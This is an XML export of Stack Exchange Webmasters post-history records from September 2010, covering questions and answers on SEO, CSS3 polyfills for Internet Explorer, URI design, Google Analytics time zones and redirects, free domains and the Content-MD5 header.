  <row Id="5659" PostHistoryTypeId="2" PostId="2902" RevisionGUID="7cb80092-2939-42a8-a292-138dcbda86fc" CreationDate="2010-09-08T22:02:47.643" UserId="108" Text="Everything John Conde said is spot on. One thing to remember with links you get a larger benefit from external links across many reputable sites.  Having a number of links back and forth between your blog and your site won't give you any more benefit if the blog under a different domain than under the same.&#xD;&#xA;&#xD;&#xA;The benefit will come with making your blog popular and having tons of great (relevant) links from your blog to the rest of your site and from you site back.  So really it comes down to how you would like to manage it.&#xD;&#xA;&#xD;&#xA;Finally, if your bosses main concern is using a tool like Wordpress, that helps with SEO because it is built well you can always use Wordpress within your own domain and host it yourself, giving you complete control and a strong tool." />
  <row Id="5660" PostHistoryTypeId="5" PostId="2397" RevisionGUID="c764e9fe-ce7c-4ed5-bd66-d1d546c4022e" CreationDate="2010-09-08T22:50:59.663" UserId="1603" Comment="Added http://selectivizr.com/ link" Text="Since no one has stepped up yet I’ll try to give an answer to this. It’s mostly gathered from reading http://css3pie.com/documentation/product-comparison/ and googling around. I only have hands on experience with CSS3PIE. If you know any of the other projects feel free to edit this&#xD;&#xA;&#xD;&#xA;**CSS3PIE** by Jason Johnston&#xD;&#xA;Adds good support for Css3 border-radius, gradients, box-shadow.&#xD;&#xA;My experience with this is that it works pretty well and has great support for border-radius.  Problematic for hover effects (I would expect all items on this list suffer from this) but seem flawless when used on static html. &#xD;&#xA;More info at http://css3pie.com/&#xD;&#xA;&#xD;&#xA;**ie-css3.js** by Keith Clark&#xD;&#xA;Adds support for a lot CSS3 pseudo-class selectors. Is extremely small since it feasts on other js libraries you include, like jQuery.&#xD;&#xA;This could work well with other projects on this list like CSS3PIE.&#xD;&#xA;More info at http://www.keithclark.co.uk/labs/ie-css3/  &#xD;&#xA;**UPDATE** The ie-css.js project has been reborn here: http://selectivizr.com/ &#xD;&#xA;&#xD;&#xA;**IE9.js** by Dean Edwards&#xD;&#xA;Works for IE6, 7 and 8. Make IE support transparent PNG, new CSS selectors like parent&gt;child and :first-of-type, fixed positioning, max/min width/height support.&#xD;&#xA;It's my impression a lot of work have gone into this over the years. Some reviews are really positive, some dismissive.&#xD;&#xA;More info at http://code.google.com/p/ie7-js/&#xD;&#xA;&#xD;&#xA;**ecsstender** by Aaron Gustafson&#xD;&#xA;Works with IE6, 7 and 8. In a modular way adds support for CSS3 selectors, font-face, border-radius, box-shadow, colors and transforms.&#xD;&#xA;Very well documented. More info at http://ecsstender.org/extensions&#xD;&#xA;&#xD;&#xA;**DD_roundies** by Drew Diller&#xD;&#xA;Adds some support for border-radius and png.&#xD;&#xA;More info at http://www.dillerdesign.com/experiment/DD_roundies/&#xD;&#xA;&#xD;&#xA;**border-radius.htc** by Remiz Rahnas&#xD;&#xA;Very simple support for border-radius.&#xD;&#xA;More info at http://code.google.com/p/curved-corner/&#xD;&#xA;&#xD;&#xA;**ie-css3.htc** by Nick Fetchak&#xD;&#xA;Some support for border-radius and text-shadow. CSS3PIE claim to do border-radius better.&#xD;&#xA;More info at http://www.fetchak.com/ie-css3/" />
  <row Id="5661" PostHistoryTypeId="2" PostId="2903" RevisionGUID="aad2fde0-e38d-46ee-8b5c-38eaf0acf121" CreationDate="2010-09-09T00:46:06.620" UserDisplayName="jackman" Text="There are so many &quot;punch line&quot; websites like:&#xD;&#xA;&#xD;&#xA;http://www.thatswhyyoufail.com&#xD;&#xA;&#xD;&#xA;www.canrailsscale.com/&#xD;&#xA;&#xD;&#xA;www.nooooooooooooooo.com/&#xD;&#xA;&#xD;&#xA;but it's a mystery how they ever get so popular.&#xD;&#xA;&#xD;&#xA;I have an idea for a punch line website too, but I want to make it BIG!  &#xD;&#xA;Does anyone have any tips for marketing these kinds of sites?&#xD;&#xA;&#xD;&#xA;p.s. and no, I do not own any of these sites, and am not disguising it as a question to market them lol." />
  <row Id="5662" PostHistoryTypeId="1" PostId="2903" RevisionGUID="aad2fde0-e38d-46ee-8b5c-38eaf0acf121" CreationDate="2010-09-09T00:46:06.620" UserDisplayName="jackman" Text="Punch Line Marketing" />
  <row Id="5663" PostHistoryTypeId="3" PostId="2903" RevisionGUID="aad2fde0-e38d-46ee-8b5c-38eaf0acf121" CreationDate="2010-09-09T00:46:06.620" UserDisplayName="jackman" Text="&lt;seo&gt;&lt;optimization&gt;&lt;marketing&gt;&lt;google-website-optimizer&gt;&lt;google-adsense&gt;" />
  <row Id="5664" PostHistoryTypeId="2" PostId="2904" RevisionGUID="9e0e2dd8-c05d-4201-b649-cd4bcef650b9" CreationDate="2010-09-09T01:23:30.480" UserId="1757" Text="How does the `/widgets/12` form allow guests to read the widgets&amp;mdash;or allow users to read the widgets of other users? Or are you planning on implementing multiple forms?&#xD;&#xA;&#xD;&#xA;Personally, I would do something like:&#xD;&#xA;&#xD;&#xA;    /widget/id:12/user:665&#xD;&#xA;    /widget/12/665&#xD;&#xA;    /widget/12?user=665&#xD;&#xA;&#xD;&#xA;Ultimately though, the URL doesn't matter unless this is going to be something that users are gonna want to access directly. If it's just a location to an embeddable script, data feed, or some other type of service, then you can use any URL you want, in which case I'd just go with something like:&#xD;&#xA;&#xD;&#xA;    /widget?id=12&amp;uid=665" />
  <row Id="5665" PostHistoryTypeId="2" PostId="2905" RevisionGUID="0f48c3ac-620e-4902-8305-ac029b6ec7da" CreationDate="2010-09-09T02:01:58.987" UserId="1064" Text="&gt; it's a mystery how they ever get so&#xD;&#xA;&gt; popular&#xD;&#xA;&#xD;&#xA;For humor,* word of mouth online (digg.com, reddit.com, stumbleupon.com, community forums, and e-mail) and offline (&quot;did you hear about ...&quot;) is all it takes to get people talking about the &quot;punch line&quot; (a.k.a. the &quot;[meme][1]&quot;) and drive traffic.&#xD;&#xA;&#xD;&#xA;Note: The same cannot be said for most other categories of web site offerings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sclient=psy&amp;hl=en&amp;safe=off&amp;q=define%3Ameme&amp;aq=f&amp;aqi=g4g-o1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1" />
  <row Id="5666" PostHistoryTypeId="2" PostId="2906" RevisionGUID="f7c26dc9-7fdc-4f8f-a469-df9ab8076c7f" CreationDate="2010-09-09T06:11:20.013" UserDisplayName="Michael Brown" Text="There is no SEO penalty for having frames... framed pages are just pages! Only the frame page itself is different... you usually only have one if using frames or a few with iframes. &#xD;&#xA;&#xD;&#xA;At one time (early 90's) some search engines could not follow framed pages. Browsers have supported frames since IE3 and Netscrape 2. Search engines have followed frames for well over 10 years now! People read stuff on the web written sometime ago and rewrite it and another will read that and rewrite it again... on and on... net fiction! If used in an iframe or a frame it is still a page and crawlers find them and index them.&#xD;&#xA;&#xD;&#xA;Framed pages do need some extra coding, noframes tag and javascript to open page inside of the complete site. Only the noframes tag has any bearing on SEO.  &#xD;&#xA;&#xD;&#xA;Frames have some SEO benefits also as there are usually more pages. I have also had good results with frame forwarding... the only way to safely forward a site without a 301 and still use it for keyword searches." />
  <row Id="5667" PostHistoryTypeId="5" PostId="2818" RevisionGUID="1b8a5054-8ae8-4e5f-95de-daa13256fff8" CreationDate="2010-09-09T07:07:50.653" UserId="1757" Comment="proof read" Text="Are there any free tools for competitor analysis?&#xD;&#xA;&#xD;&#xA;1. I want to find out keywords that a site is optimized for by typing in a Url&#xD;&#xA;2. I want to find out competition (a number) for a given phrase or keyword - Google Keyword tool gives a visual bar. I need a number so I can sort the data in Excel" />
  <row Id="5668" PostHistoryTypeId="2" PostId="2907" RevisionGUID="4e7076bf-3781-44b9-9804-c84728e79835" CreationDate="2010-09-09T07:49:32.727" UserId="1757" Text="As a graphic designer + web developer, I don't have this problem personally. But I would think that simply looking at the designer's portfolio and going rate should be enough to make a fair determination.&#xD;&#xA;&#xD;&#xA;Sure, it's subjective and most people are not graphic designers, but it doesn't take a professional graphic designer to know what looks good and what is aesthetically disagreeable. You can also ask your client for a list of sites that they like, and try to pick a designer that matches the style of those websites.&#xD;&#xA;&#xD;&#xA;You/your client have a fixed budget. So get the best design you can obtain within that budget. Find someone who:&#xD;&#xA;&#xD;&#xA; - has experience doing web design&#xD;&#xA;   - is familiar with basic usability/accessibility guidelines&#xD;&#xA; - has a graphic design/visual arts background&#xD;&#xA;   - has good color sense&#xD;&#xA;   - has good design sense&#xD;&#xA; - is familiar with the style of website you need him/her for&#xD;&#xA;&#xD;&#xA;I don't think there's an unfair way to select a web designer. There's just wise/unwise ways of selecting one. If you aren't careful, you'll spend too much to get very little return." />
  <row Id="5669" PostHistoryTypeId="2" PostId="2908" RevisionGUID="dc0859d8-052a-4f50-9640-12561f6c20d4" CreationDate="2010-09-09T09:20:50.137" UserId="1867" Text="I've done SEO for a couple of years now and each time I have been fairly successful with my approaches. That being said I don't claim to know the answers and I advise any clients to be extremely wary of anyone that claims to.&#xD;&#xA;&#xD;&#xA;One of the simplest methods I've used to help a website utilise its marketing potential is to do a thorough Competitive Analysis through identifying the market and finding out what the strongest links to my competitors are. I then emulate that through targeted, natural link building in similar areas.&#xD;&#xA;&#xD;&#xA;One of the tools I use is **&lt;a href=&quot;http://www.linkdiagnosis.com/&quot;&gt;Link Diagnosis&lt;/a&gt;** (although I haven't used the new one recently, if it doesn't work for you give the &lt;a href=&quot;http://classic.linkdiagnosis.com/&quot;&gt;classic&lt;/a&gt; tool a try). I build several Excel spreadsheets of each of my competitors and provide trends for my clients to target.&#xD;&#xA;&#xD;&#xA;It's really an invaluable tool, and one that very few people really talk about. I'd highly recommend it for anyone looking to do their Competitive Analysis finished quickly so that they can work on more important things." />
  <row Id="5670" PostHistoryTypeId="16" PostId="2908" RevisionGUID="dc0859d8-052a-4f50-9640-12561f6c20d4" CreationDate="2010-09-09T09:20:50.137" UserId="-1" />
  <row Id="5673" PostHistoryTypeId="2" PostId="2909" RevisionGUID="b5172b07-bdfe-45f7-9499-7fc85d922a9c" CreationDate="2010-09-09T11:27:21.707" UserId="1757" Text="What you refer to as the &quot;Poor Man's Clean URLs&quot; is just clean URLs implemented through the filesystem. You can have those types of URLs using mod_rewrite, just as you can have the second type of URL without mod_rewrite.&#xD;&#xA;&#xD;&#xA;Clean URLs are exactly what the name implies&amp;mdash;URLs that are clean or look clean. Both&#xD;&#xA;&#xD;&#xA;    http://yoursite/foo/bar&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    http://yoursite/foo/bar.php&#xD;&#xA;&#xD;&#xA;are clean URLs. The term &quot;clean URLs&quot; doesn't specify any particular implementation. You can implement clean URLs by generating cached .html pages every time the site is updated if you want. mod_rewrite simply lets you decouple URL structure from file structure without redirects or frames.&#xD;&#xA;&#xD;&#xA;From what it sounds like, you're not currently running a database-driven site. And although it might technically qualify as a dynamic website, it's probably more on the static end of the spectrum if you're mostly using PHP just to include headers/footers. That is fine for small sites that rarely need updating, but as your site gets bigger, you'll need to implement a real CMS.&#xD;&#xA;&#xD;&#xA;Where mod_rewrite shines is when you start taking maintainability into consideration. Instead of having hundreds of php files for each and every product page (with lots of redundant code), you can simply have a single script that handles all requests. But if you no longer have a one-to-one mapping of actual .php files to displayed web pages, then you'll need to use something like mod_rewrite to route the page requests intelligently while maintaining the illusion of the file/directory structure being there.&#xD;&#xA;&#xD;&#xA;So it's not the extra subdirectory that you should be worried about. It's the fact that you're creating a separate .php script for every page on your site." />
  <row Id="5675" PostHistoryTypeId="2" PostId="2911" RevisionGUID="87899bb4-4733-4971-a526-ea761ddd5ea8" CreationDate="2010-09-09T11:58:29.710" UserId="1955" Text="We have a multi language website and the first page redirects to specific language page using 301 redirect based on some logic.&#xD;&#xA;For exmaple: http://mysite.com/ redirects to http://mysite.com/en/&#xD;&#xA;&#xD;&#xA;The problem is that these redirects destroy the primary request so we do not get correct results for traffic sources in GA. &#xD;&#xA;&#xD;&#xA;How do you handle this case? Is there something that we can do?&#xD;&#xA;&#xD;&#xA;Any ideas will be appreciated" />
  <row Id="5676" PostHistoryTypeId="1" PostId="2911" RevisionGUID="87899bb4-4733-4971-a526-ea761ddd5ea8" CreationDate="2010-09-09T11:58:29.710" UserId="1955" Text="Google analytics and 301 redirects" />
  <row Id="5677" PostHistoryTypeId="3" PostId="2911" RevisionGUID="87899bb4-4733-4971-a526-ea761ddd5ea8" CreationDate="2010-09-09T11:58:29.710" UserId="1955" Text="&lt;seo&gt;&lt;google-analytics&gt;&lt;redirects&gt;" />
  <row Id="5678" PostHistoryTypeId="2" PostId="2912" RevisionGUID="b63fb658-5542-4761-87dc-574482b015fe" CreationDate="2010-09-09T12:18:09.863" UserId="1905" Text="i have a co.cc domain before. it is stated that renewal is free for personal use. but i have a doamin i used previously that requires $3 for renewal. is this correct?" />
  <row Id="5679" PostHistoryTypeId="1" PostId="2912" RevisionGUID="b63fb658-5542-4761-87dc-574482b015fe" CreationDate="2010-09-09T12:18:09.863" UserId="1905" Text="Is co.cc actually free?" />
  <row Id="5680" PostHistoryTypeId="3" PostId="2912" RevisionGUID="b63fb658-5542-4761-87dc-574482b015fe" CreationDate="2010-09-09T12:18:09.863" UserId="1905" Text="&lt;domains&gt;" />
  <row Id="5681" PostHistoryTypeId="5" PostId="2887" RevisionGUID="d5169331-0f74-4d75-99c9-d774fbd007f3" CreationDate="2010-09-09T12:38:08.130" UserId="1894" Comment="Clarification and added observations from answer" Text="I'm stuck designing URIs for a many-to-many relationship between users and other resources. Specifically I'm having difficulty predicting the consequences of different approaches.&#xD;&#xA;&#xD;&#xA;Given a resources types `user` and `widget` (`user` represents a registered user), authenticated (logged-in) users have write access to all widgets and guests have read access. The user-widget relation also has data (eg. number of edits) which ideally should also be readable (thus *addressable*) by guests (and, [as Lèse points out below][1], other users). Examples use integers for unique identifiers for the sake of clarity.&#xD;&#xA;&#xD;&#xA;Guests can view widget #12 at&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;&#xD;&#xA;What are the implications of various possible URIs for authenticated user #34 to read/write widget #12, and optionally for a guest to read the relational data between the two? (Don't worry about giving a comprehensive answer, any observations for or against specific options would also be very valuable).&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;(user is implicit based on authentication, no way for guest to specify user-widget relation)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12&#xD;&#xA;(both sides of the relation explicit, implicit hierarchy between resources)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12 and /widgets/12/users/34&#xD;&#xA;(same, without hierarchy)&#xD;&#xA;&#xD;&#xA;    /user-widget/34,12&#xD;&#xA;(relation as resource, explicit but possibly more than the user needs to know)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm happy to give more detail or add other people's URI suggestions. Just comment if you want me to add anything.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2887/uri-design-for-many-to-many-relationship-advice-needed/2904#2904" />
  <row Id="5682" PostHistoryTypeId="2" PostId="2913" RevisionGUID="35646a14-abb8-4ae1-95a9-638c3f9a12b6" CreationDate="2010-09-09T12:55:20.320" UserId="1906" Text="MailChimp is the best. I take care of newsletter campaigns in our firm. We have tried out many mass email services. MailChimp rocks. The thing that matters with mass mailing is deliverability. When I was using other mass email service I had to check the deliverlability with every campaign &amp; many a times compromise with it. But with MailChimp I send 2 lakh mails in a jiffy without worrying about deliverability. Almost all emails will land in inbox, unless you are selling Viagra ;)" />
  <row Id="5683" PostHistoryTypeId="2" PostId="2914" RevisionGUID="2beef6e0-f508-40ef-9a2f-8a116d616de7" CreationDate="2010-09-09T13:18:03.960" UserId="233" Text="Everything I can find suggests that the HTTP referrer *is preserved* through a 301 redirect.&#xD;&#xA;&#xD;&#xA;However if you're sure that's not happening in your case, it appears you may be able to (unofficially) [override the referrer in GA][1] manually. So when the user visits `mysite.com` you could for example set a cookie with the value of the REFERER header, then on `mysite.com/en/` pass that to GA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prusak.com/google-analytics-referrer-override/" />
  <row Id="5684" PostHistoryTypeId="5" PostId="2914" RevisionGUID="358ed7c8-4536-4b11-8557-dbe545aa9138" CreationDate="2010-09-09T13:24:55.490" UserId="233" Comment="added 132 characters in body" Text="Everything I can find suggests that the HTTP referrer *is preserved* through a 301 redirect. EDIT: Tested this in Internet Explorer 8, Firefox, Chrome and Opera and they all pass the original referrer through a 301 redirect.&#xD;&#xA;&#xD;&#xA;However if you're sure that's not happening in your case, it appears you may be able to (unofficially) [override the referrer in GA][1] manually. So when the user visits `mysite.com` you could for example set a cookie with the value of the REFERER header, then on `mysite.com/en/` pass that to GA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prusak.com/google-analytics-referrer-override/" />
  <row Id="5685" PostHistoryTypeId="2" PostId="2915" RevisionGUID="59b7539c-8524-4901-8568-7ccd2ad6720e" CreationDate="2010-09-09T13:33:14.987" UserId="233" Text="According to www.co.cc, yes it's free *for personal use*. If you are being billed then you should contact support at co.cc. You may need to prove the domain is for personal use only - if you have ads on there, you won't have a good case.&#xD;&#xA;&#xD;&#xA;Incidentally, `.cc` domains are for &quot;Cocos (Keeling) Islands, an Australian territory&quot; according to Wikipedia. So unless your site is targeted to that area then it's not really wise to use that TLD, even if it is free.&#xD;&#xA;&#xD;&#xA;Domains are only a few bucks a year, why not shell out for one? `.com` may be $10 or more but country-specific ones are much cheaper. `.co.uk` for example is not more than £3/year." />
  <row Id="5686" PostHistoryTypeId="2" PostId="2916" RevisionGUID="d29b5c99-0ff1-4109-957b-23fa7ba3e26f" CreationDate="2010-09-09T13:41:50.670" UserId="40" Text="I thought initally it would be the timezone I have configured, however, this does not seem to reflect the true activity. Or is it only the delay of the data analysis that creates this feeling?" />
  <row Id="5687" PostHistoryTypeId="1" PostId="2916" RevisionGUID="d29b5c99-0ff1-4109-957b-23fa7ba3e26f" CreationDate="2010-09-09T13:41:50.670" UserId="40" Text="What are the boundaries of a day in google analytics?" />
  <row Id="5688" PostHistoryTypeId="3" PostId="2916" RevisionGUID="d29b5c99-0ff1-4109-957b-23fa7ba3e26f" CreationDate="2010-09-09T13:41:50.670" UserId="40" Text="&lt;google-analytics&gt;" />
  <row Id="5689" PostHistoryTypeId="5" PostId="2904" RevisionGUID="5d79c0d7-4791-4078-8e58-dba3c4073456" CreationDate="2010-09-09T14:02:53.717" UserId="1757" Comment="expand" Text="How does the `/widgets/12` form allow guests to read the widgets&amp;mdash;or allow users to read the widgets of other users? Or are you planning on implementing multiple forms?&#xD;&#xA;&#xD;&#xA;Personally, I would do something like:&#xD;&#xA;&#xD;&#xA;    /widget/id:12/user:665&#xD;&#xA;    /widget/12/665&#xD;&#xA;    /widget/12?user=665&#xD;&#xA;&#xD;&#xA;Ultimately though, the URL doesn't matter unless this is going to be something that users are gonna want to access directly. If it's just a location to an embeddable script, data feed, or some other type of service, then you can use any URL you want, in which case I'd just go with something like:&#xD;&#xA;&#xD;&#xA;    /widget?id=12&amp;uid=665&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;I prefer to just serve the widget under `/widget` since that is what the resource is. I assume that the user-widget relationship is implied by the type of widget it is. So adding `users` into the path hierarchy is unnecessary.&#xD;&#xA;&#xD;&#xA;Now, if you wanted people to be able to browse the widgets of a particular user, then the `/users/34/widgets/12` form would be preferable. " />
  <row Id="5690" PostHistoryTypeId="2" PostId="2917" RevisionGUID="21ac417d-0692-4afb-af0e-454f5bd68d81" CreationDate="2010-09-09T15:31:14.503" UserId="46" Text="Yes, it uses the timezone as configured.  Note that if your Analytics account is linked to an Adwords account, then you will configure the timezone differently.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;**How do I set the time zone for my reports?**&#xD;&#xA;&#xD;&#xA;&gt;If your Analytics account is not linked to an AdWords account, you'll be able to set your time zone preference from the Main Website Profile Information section of your Profile Settings page. By default, all accounts are set to use Pacific Time in North America.&#xD;&#xA;&#xD;&#xA;&gt;If your Analytics account is linked to a Google AdWords account, your time zone will be automatically set to your AdWords preference and you will not see the time zone feature in your Analytics account. This ensures accurate reporting on your AdWords campaigns.&#xD;&#xA;&#xD;&#xA;&gt;It's important to note that changing your time zone will only affect data going forward, and will not be applied retroactively. You may notice a flat spot or a spike in your report data around the time that you updated your time setting. This is caused by a time shift forwards or backwards, respectively. In addition, your report data may refer to the old time zone for a short period after you update your settings, until our servers have processed the change.&#xD;&#xA;[Source](http://www.google.com/support/googleanalytics/bin/answer.py?answer=55512)" />
  <row Id="5692" PostHistoryTypeId="2" PostId="2919" RevisionGUID="11708f15-fae5-4648-bce9-fcd0451dea39" CreationDate="2010-09-09T16:04:22.473" UserId="1909" Text="&#xD;&#xA;&#xD;&#xA;i have a music site now i try to add news and event at my artist&#xD;&#xA;&#xD;&#xA;i want whatever i submit from admin panel...its its hace categorise all the artist name so to sent all artist profile .....which artist news or event this.... can some 1 has any idea or any help for me please.........&#xD;&#xA;" />
  <row Id="5693" PostHistoryTypeId="1" PostId="2919" RevisionGUID="11708f15-fae5-4648-bce9-fcd0451dea39" CreationDate="2010-09-09T16:04:22.473" UserId="1909" Text=" music site help" />
  <row Id="5694" PostHistoryTypeId="3" PostId="2919" RevisionGUID="11708f15-fae5-4648-bce9-fcd0451dea39" CreationDate="2010-09-09T16:04:22.473" UserId="1909" Text="&lt;php&gt;" />
  <row Id="5695" PostHistoryTypeId="2" PostId="2920" RevisionGUID="69d01226-31b3-46bc-9f50-e124a20e2d09" CreationDate="2010-09-09T16:13:06.177" UserDisplayName="Michael Brown" Text="From my experience the only thing you can count on is that they will index the page that is held in the frame. These are just the same as any other pages they may index and will get the same ranking as any other page on your site. There is nothing on a page held in a frame that is different! Using the noframes tag has an effect on one page only the frameset page, and is used to add content that the search bots will read on that page only. I use a bookmark button with a script on each framed page so the backlinks are not a problem. Using frames in regards to SEO may not be for amateurs as there are some tricks to it but these are old tricks (javascript, noframes) well known and easy to use by the pros. If you don't know what you are doing... don't use frames! However there is **NO** penalty for using frames. " />
  <row Id="5696" PostHistoryTypeId="10" PostId="2919" RevisionGUID="fee6822c-e690-4e01-a9be-82db9ad78445" CreationDate="2010-09-09T17:03:52.790" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="5697" PostHistoryTypeId="11" PostId="2919" RevisionGUID="7478ceb8-c2ca-49b6-a7c9-f39adc47fe38" CreationDate="2010-09-09T17:12:54.923" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="5698" PostHistoryTypeId="10" PostId="2919" RevisionGUID="b2037096-c561-4ce4-83bc-444e217c87d2" CreationDate="2010-09-09T17:13:01.197" UserId="55" CloseReasonId="4" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="5699" PostHistoryTypeId="2" PostId="2921" RevisionGUID="d9b2e199-f8a6-4946-a9ee-1ea6fc210594" CreationDate="2010-09-09T17:26:50.090" UserId="1603" Text="I have been asked if the web CMS I work on can do Korean websites - prompted because other CMS's seemingly have problems doing this. I have no prior experience with Korean websites, but after looking at a few .kr sites and creating a few test pages (by copy/paste) I fail to see what problems could exist as long as you have a fully unicode enabled CMS.&#xD;&#xA;&#xD;&#xA;Are there anything beyond unicode that a web CMS should be aware of in order to properly handle a Korean website?" />
  <row Id="5700" PostHistoryTypeId="1" PostId="2921" RevisionGUID="d9b2e199-f8a6-4946-a9ee-1ea6fc210594" CreationDate="2010-09-09T17:26:50.090" UserId="1603" Text="What is the challange with Korean websites?" />
  <row Id="5701" PostHistoryTypeId="3" PostId="2921" RevisionGUID="d9b2e199-f8a6-4946-a9ee-1ea6fc210594" CreationDate="2010-09-09T17:26:50.090" UserId="1603" Text="&lt;cms&gt;&lt;unicode&gt;&lt;internationalization&gt;" />
  <row Id="5702" PostHistoryTypeId="5" PostId="2139" RevisionGUID="b8295e91-18e2-44be-88c2-db46d8b05df8" CreationDate="2010-09-09T18:11:55.387" UserId="108" Comment="deleted 11 characters in body" Text="This may be a silly question, but I recently inherited a DotNetNuke site.  Looking in the settings, I can see it's running version 4.09.00 of DNN. Looking at current DNN 5.0 information, there appears to be several editions available (Community, Professional, Enterprise, etc).&#xD;&#xA;&#xD;&#xA;So my question is:&#xD;&#xA;&#xD;&#xA; - Were these editions also available in the 4.0 version of DNN?&#xD;&#xA; - If so, is there a way to tell which edition the site is running?  I didn't see any immediately obvious designation in the admin areas.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="5704" PostHistoryTypeId="2" PostId="2922" RevisionGUID="491864ad-e761-481f-9d6c-fe206225a054" CreationDate="2010-09-09T18:51:36.633" UserId="1894" Text="I found Mark Pilgrim's freely downloadable book [Dive into Accesibility][1] to be a useful reference point on this theme. It's from 2002 but still very pertinent. Advice like &quot;use graceful degradation&quot; doesn't get old.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintoaccessibility.org/" />
  <row Id="5705" PostHistoryTypeId="4" PostId="2921" RevisionGUID="800c0b9f-03b0-45af-ba15-aa5fe7899c89" CreationDate="2010-09-09T20:05:34.293" UserId="26" Comment="edited title" Text="What is the challenge with Korean websites?" />
  <row Id="5706" PostHistoryTypeId="2" PostId="2923" RevisionGUID="0b16fd67-b6fe-419c-8adc-438ec39eb821" CreationDate="2010-09-09T20:08:04.263" UserId="26" Text="I don't know that there are any. [WordPress][1] and [Drupal][2], two popular examples, both have modules to account for translation into Korean. You might also be interested in the book [CJKV Information Processing][3], reputedly a great book on Asian-language [i18n][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ko.wordpress.org/&#xD;&#xA;  [2]: http://localize.drupal.org/translate/languages/ko&#xD;&#xA;  [3]: http://oreilly.com/catalog/9780596529451/&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/I18n" />
  <row Id="5707" PostHistoryTypeId="2" PostId="2924" RevisionGUID="ad1fbe9e-6314-4ead-b529-6be63f2e8db6" CreationDate="2010-09-09T20:32:59.407" UserId="480" Text="We are debating whether to use the Content-MD5 header.&#xD;&#xA;&#xD;&#xA;**Pros:**&#xD;&#xA;&#xD;&#xA;* The CMS allows us to easily include it with minimal overhead (cached responses in 80%+ of the cases).&#xD;&#xA;* It would add another layer of protection against problems.&#xD;&#xA;&#xD;&#xA;**Cons:**&#xD;&#xA;&#xD;&#xA;* The Content-Length header is always present (even on dynamically created pages) so the client should not need another form of validation.&#xD;&#xA;* So far we are unaware of any problems caused by corruption.&#xD;&#xA;* MD5 checks add latency to web page load times.&#xD;&#xA;&#xD;&#xA;**Points:**&#xD;&#xA;&#xD;&#xA;* Do certain media types include their own form of digest that makes this unnecessary?&#xD;&#xA;* If TCP offers this already why was it included in the HTTP standard?&#xD;&#xA;* What are the existing real-life uses?&#xD;&#xA;* Is the MD5 check negligible?&#xD;&#xA;&#xD;&#xA;It is no real problem for this to be added to the unit tests and implemented, about an hours work; however if it is detrimental then we want it added to the higher level sniff tests used in website &quot;health check&quot;s." />
  <row Id="5708" PostHistoryTypeId="1" PostId="2924" RevisionGUID="ad1fbe9e-6314-4ead-b529-6be63f2e8db6" CreationDate="2010-09-09T20:32:59.407" UserId="480" Text="Considerations of the HTTP Content-MD5 Header" />
  <row Id="5709" PostHistoryTypeId="3" PostId="2924" RevisionGUID="ad1fbe9e-6314-4ead-b529-6be63f2e8db6" CreationDate="2010-09-09T20:32:59.407" UserId="480" Text="&lt;http&gt;&lt;http-headers&gt;&lt;headers&gt;" />
  <row Id="5710" PostHistoryTypeId="2" PostId="2925" RevisionGUID="815d59c1-2c4a-444d-8242-dcb1f2c49837" CreationDate="2010-09-09T21:06:00.130" UserId="221" Text="&gt; MD5 checks add latency to web page load times.&#xD;&#xA;&#xD;&#xA;If true (and the latency is not entirely trivial) then I'd say it wasn't worth it.&#xD;&#xA;&#xD;&#xA;In general, I believe, the last modified header is most commonly used to determine if a page has changed. Assuming you provide meaningful value there, I see no *need* for the content-md5 header." />
  <row Id="5711" PostHistoryTypeId="2" PostId="2926" RevisionGUID="143070a7-79ad-4413-8258-9f6d9d0432e2" CreationDate="2010-09-09T21:38:08.887" UserId="1876" Text="The project i was working/coding on from last couple of months is done from development point of view .The project is a lightweight desktop video streaming Application in adobe air.I also put up a website to publish it.&#xD;&#xA;&#xD;&#xA;[http://awesome.fm/client][1]&#xD;&#xA;&#xD;&#xA;I am less experience in marketing or spreading products .Can you guys just give me right ways to proceed from here ? &#xD;&#xA;What i wana know is, how real stratup owners spread the product they make ?&#xD;&#xA;what so ever , any opinion will be helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks &#xD;&#xA;Arshdeep&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.fm/client" />
  <row Id="5712" PostHistoryTypeId="1" PostId="2926" RevisionGUID="143070a7-79ad-4413-8258-9f6d9d0432e2" CreationDate="2010-09-09T21:38:08.887" UserId="1876" Text="How to preceed now , development is done !" />
  <row Id="5713" PostHistoryTypeId="3" PostId="2926" RevisionGUID="143070a7-79ad-4413-8258-9f6d9d0432e2" CreationDate="2010-09-09T21:38:08.887" UserId="1876" Text="&lt;advertising&gt;&lt;standards&gt;&lt;marketing&gt;" />
